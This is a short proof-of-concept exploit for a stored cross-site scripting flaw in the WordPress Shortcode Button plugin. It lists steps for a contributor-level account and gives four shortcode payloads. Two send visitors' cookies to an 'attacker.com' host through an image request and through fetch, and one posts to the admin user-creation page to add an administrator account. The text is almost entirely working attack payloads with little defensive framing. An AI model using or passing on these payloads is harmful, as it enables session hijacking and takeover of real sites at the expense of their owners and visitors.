CVE-2025-10194

<!-- CVE-2025-10194 - Stored XSS PoC for WordPress Shortcode Button Plugin Target: Shortcode Button plugin <= 1.1.9 Required: Contributor-level access or above --> <!-- Step 1: Login as contributor or higher role Step 2: Create a new post or page Step 3: Insert the malicious shortcode in the content editor Step 4: Publish/Submit the post Step 5: Any user visiting the page will trigger the XSS --> <!-- PoC 1: Cookie stealing via onerror event --> [button url='x" onerror="alert(document.cookie)"' label="Click"] <!-- PoC 2: Cookie exfiltration to attacker server --> [button url='x" onerror="var i=new Image();i.src=\"http://attacker.com/steal?c=\"+document.cookie;"' label="Click"] <!-- PoC 3: Session hijacking via fetch --> [button url='x" onerror="fetch(\"http://attacker.com/steal?c=\"+document.cookie)"' label="Click"] <!-- PoC 4: Admin context exploitation - create new admin user --> [button url='x" onerror="fetch(\"/wp-admin/user-new.php\",{method:\"POST\",headers:{\"Content-Type\":\"application/x-www-form-urlencoded\"},body:new URLSearchParams({user_login:\"hacker\",email:\"[email protected]\",role:\"administrator\",_wpnonce_create_user:\"\"})})"' label="Click"]

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